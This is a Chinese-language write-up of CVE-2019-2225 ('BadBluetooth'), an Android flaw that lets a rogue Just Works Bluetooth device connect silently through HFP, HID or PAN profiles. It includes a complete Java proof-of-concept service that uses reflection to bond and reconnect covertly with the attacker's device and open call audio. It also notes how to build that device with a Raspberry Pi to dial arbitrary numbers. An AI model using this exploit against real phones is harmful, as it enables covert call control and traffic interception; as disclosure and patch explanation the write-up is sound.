一、漏洞背景

  • 由于Android对蓝牙配置文件(Profile)的管理不完善以及对蓝牙连接显示的缺陷,攻击者可以构造一个配对能力为JustWorks、I/O能力为NoInputNoOutput的恶意蓝牙设备,并且伪造多种蓝牙配置文件,结合一个无需特权的恶意应用程序,就可以使受害者的手机连接到一个攻击者构造的恶意蓝牙设备上,从而实现操作通话、屏幕截图、网络流量代理等恶意操作,甚至可以直接进行权限提升。
  • 原作者是来自于香港中文大学的Fenghao Xu,对该类型的攻击起名为BadBluetooth,因为它和BadUSB的原理有些类似。目前Google已经在AOSP的2019-12补丁中正式修复该漏洞,并且以CVE-2019-2225来跟踪,漏洞级别为High。

二、漏洞细节

  • 蓝牙为了支持不同的用途和功能,定义了多种不同的配置文件,从而可以在Rfcomm和L2CAP层之上实现这些功能。这里攻击主要用到的是HFP、HID和PAN这三种配置文件,他们的定义如下: | 配置文件 | 主要功能 | | —- | —- | | Handset-Free Profile (HFP) | 通话音频配置文件,实现电话控制相关功能,包括拨打、接听、拒绝、挂断电话等,主要用于通话蓝牙耳机 | | Human Input Device (HID) Profile | 人体输入设备配置文件,实现了键盘和鼠标的功能,主要用于蓝牙键鼠 | | Personal Area Network (PAN) Profile | 个人区域网络配置文件,在蓝牙协议上实现了TCP/IP协议,用于蓝牙网络共享 |
  • 在Android框架中,对HFP、HID和PAN都有相关的实现,其源代码位于/frameworks/base/core/java/android/bluetooth | 配置文件 | Android 实现 | | —- | —- | | Handset-Free Profile (HFP) | BluetoothHeadset, BluetoothHeadsetClient (Hide) | | Human Input Device (HID) Profile | BluetoothHidDevice (API>=28), BluetoothInputDevice (API<=27, Hide) | | Personal Area Network (PAN) Profile | BluetoothPan (Hide) |
  • 以上接口对拥有BLUETOOTHBLUETOOTH_ADMIN权限的应用都是可见的,这两个权限在安装后是默认授予给应用的。由于部分接口是非公开API,对于其中为greylis的可以使用反射来调用。
  • 同时蓝牙为了方便用户使用,定义了五种I/O能力,分别是: | I/O能力 | 说明 | | —- | —- | | KeyboardDisplay | 具有键盘输入PIN码和显示PIN码功能的设备,例如PC | | DisplayOnly | 只具有显示PIN码功能的设备(没有键盘),例如智能手表 | | NoInputNoOutput | 没有任何输入输出方式的设备,例如蓝牙耳机 | | DisplayYesNo | 只能显示是否,不能显示PIN码的设备(没有键盘),例如智能手环 | | KeyboardOnly | 只能键盘输入PIN码的设备(没有显示),例如蓝牙键盘 |
  • 对于支持PIN码的设备,可以使用Authenticated MITM Protection参数来防止中间人攻击,但是对于没有PIN码显示功能的设备,就无法做到了。比较遗憾的是,I/O能力是由设备自行定义的,如果你有一个树莓派或者其他可定制的蓝牙设备,你就可以自行修改它!
  • 由于以上的I/O能力,就存在以下的配对方式: | 配对方式 | 说明 | | —- | —- | | Passkey Entry | PIN输入,必须输入正确的PIN才可以配对 | | Numeric Comparison | PIN比较,双方显示PIN码,用户判断是否相同并选择配对/拒绝 | | Just Works | 不进行PIN码比较,以默认PIN码000000进行连接 |
  • 需要注意的是,选择哪种配对方式是由较弱I/O能力的一方决定的,所以只要有一方是NoInputNoOutput,就一定会选择Just Works。
  • 同时在Android系统中,蓝牙设备是否连接的状态指示对于用户来说是相似、模糊的,所以用户并不能很好的区分当前手机是否已经连接到了某个蓝牙设备。
  • 基于以上事实,攻击者可以构造一个I/O能力为NoInputNoOutput,配对方式为Just Works的恶意蓝牙设备,并且在受害者手机上预知一个不需要任何敏感权限,仅需要声明BLUETOOTH_ADMIN权限的恶意应用在后台偷偷连接到恶意的蓝牙设备上。根据恶意蓝牙设备配置的不同的配置文件,可以实现多种攻击。

三、漏洞影响

  • 根据恶意蓝牙设备的配置文件不同,可以实现不同的攻击效果。例如HFP可以实现任意号码拨打和通话控制,PAN可以实现网络流量代理进行中间人攻击,HID可以利用快捷键实现屏幕截图等。
  • 使用HFP进行攻击的PoC如下:
  1. public class HfpService extends Service {
  2. private static final String TAG = "HfpService";
  3. private static final String BT_ADDR = "XX:XX:XX:XX:XX:XX";
  4. private BluetoothAdapter mBtAdapter;
  5. private BluetoothHeadset mBtHandset;
  6. @Nullable
  7. @Override
  8. public IBinder onBind(Intent intent) {
  9. throw new UnsupportedOperationException("onBind unsupported");
  10. }
  11. @Override
  12. public int onStartCommand(Intent intent, int flags, int startId) {
  13. mBtAdapter = BluetoothAdapter.getDefaultAdapter();
  14. if (mBtAdapter == null) {
  15. return super.onStartCommand(intent, flags, startId);
  16. }
  17. mBtAdapter.getProfileProxy(this, new ServiceListener(), BluetoothProfile.HEADSET);
  18. final BluetoothDevice btDevice = getBtDevice(BT_ADDR);
  19. Thread connectThread = new Thread(new Runnable() {
  20. @Override
  21. public void run() {
  22. do {
  23. if (btDevice.getBondState() != BluetoothDevice.BOND_BONDING) {
  24. Log.d(TAG, "connectThread, try to create bond");
  25. btDevice.createBond();
  26. } else {
  27. Log.d(TAG, "connectThread, during bonding, skipped");
  28. }
  29. try {
  30. Thread.sleep(1000);
  31. } catch (InterruptedException e) {
  32. Log.e(TAG, "connectThread, connect interrupted");
  33. }
  34. } while (btDevice.getBondState() != BluetoothDevice.BOND_BONDED);
  35. Log.i(TAG, "connectThread, create bond OK");
  36. do {
  37. if (mBtHandset.getConnectionState(btDevice) != BluetoothProfile.STATE_CONNECTING) {
  38. Log.d(TAG, "connectThread, try to connect");
  39. connect(btDevice);
  40. } else {
  41. Log.d(TAG, "connectThread, during connecting, skipped");
  42. }
  43. try {
  44. Thread.sleep(1000);
  45. } catch (InterruptedException e) {
  46. Log.e(TAG, "connectThread, connect interrupted");
  47. }
  48. } while(mBtHandset.getConnectionState(btDevice) != BluetoothProfile.STATE_CONNECTED);
  49. Log.i(TAG, "connectThread, connect OK");
  50. connectAudio();
  51. do {
  52. try {
  53. Thread.sleep(3000);
  54. } catch (InterruptedException e) {
  55. Log.e(TAG, "connectThread, getConnectedDevices interrupted");
  56. }
  57. } while(mBtHandset.getConnectionState(btDevice) == BluetoothProfile.STATE_CONNECTED);
  58. Thread connectThread = new Thread(this);
  59. connectThread.setDaemon(true);
  60. Log.d(TAG, "connectThread, lost connection, restart thread itself");
  61. connectThread.start();
  62. }
  63. });
  64. connectThread.setDaemon(true);
  65. connectThread.start();
  66. return super.onStartCommand(intent, flags, startId);
  67. }
  68. public BluetoothDevice getBtDevice(String btAddress) {
  69. try {
  70. Constructor<BluetoothDevice> constructor = BluetoothDevice.class.getDeclaredConstructor(String.class);
  71. constructor.setAccessible(true);
  72. return constructor.newInstance(btAddress);
  73. } catch(NoSuchMethodException | IllegalAccessException | InstantiationException | InvocationTargetException e) {
  74. Log.e(TAG, "NoSuchMethodException | IllegalAccessException | InstantiationException | InvocationTargetException");
  75. e.printStackTrace();
  76. }
  77. return null;
  78. }
  79. public boolean connect(BluetoothDevice btDevice) {
  80. if (mBtHandset == null || btDevice == null) {
  81. return false;
  82. }
  83. try {
  84. Method method = Class.forName("android.bluetooth.BluetoothHeadset")
  85. .getDeclaredMethod("connect", BluetoothDevice.class);
  86. return (Boolean) method.invoke(mBtHandset, btDevice);
  87. } catch (ClassNotFoundException | NoSuchMethodException e) {
  88. Log.e(TAG, "connect, ClassNotFoundException | NoSuchMethodException");
  89. e.printStackTrace();
  90. } catch (IllegalAccessException | InvocationTargetException e) {
  91. Log.e(TAG, "connect, IllegalAccessException | InvocationTargetException");
  92. e.printStackTrace();
  93. }
  94. return false;
  95. }
  96. public boolean connectAudio() {
  97. if (mBtHandset == null) {
  98. return false;
  99. }
  100. try {
  101. Method method = Class.forName("android.bluetooth.BluetoothHeadset")
  102. .getDeclaredMethod("connectAudio");
  103. return (Boolean) method.invoke(mBtHandset);
  104. } catch (ClassNotFoundException | NoSuchMethodException e) {
  105. Log.e(TAG, "connectAudio, ClassNotFoundException | NoSuchMethodException");
  106. e.printStackTrace();
  107. } catch (IllegalAccessException | InvocationTargetException e) {
  108. Log.e(TAG, "connectAudio, IllegalAccessException | InvocationTargetException");
  109. e.printStackTrace();
  110. }
  111. return false;
  112. }
  113. class ServiceListener implements BluetoothProfile.ServiceListener {
  114. @Override
  115. public void onServiceConnected(int profile, BluetoothProfile proxy) {
  116. Log.i(TAG, "onServiceConnected, profile="+profile);
  117. if (profile == BluetoothProfile.HEADSET) {
  118. mBtHandset = (BluetoothHeadset) proxy;
  119. }
  120. }
  121. @Override
  122. public void onServiceDisconnected(int profile) {
  123. Log.i(TAG, "onServiceDisconnected, profile="+profile);
  124. }
  125. }
  126. }
  • 结合上述恶意代码,再使用树莓派构造恶意蓝牙设备即可,可以使用bluetoothctl蓝牙实用工具,和ofono这个开源的HFP框架来实现任意号码拨打,经过测试该问题影响Android 8.0——Android 10.0之间的系统版本。

四、漏洞补丁

  • Google在AOSP的2019-12补丁中修复了该漏洞,修复方法是即使是对于Just Works类型的设备,在首次配对连接时也会请求用户同意,经过交互之后才会进行连接。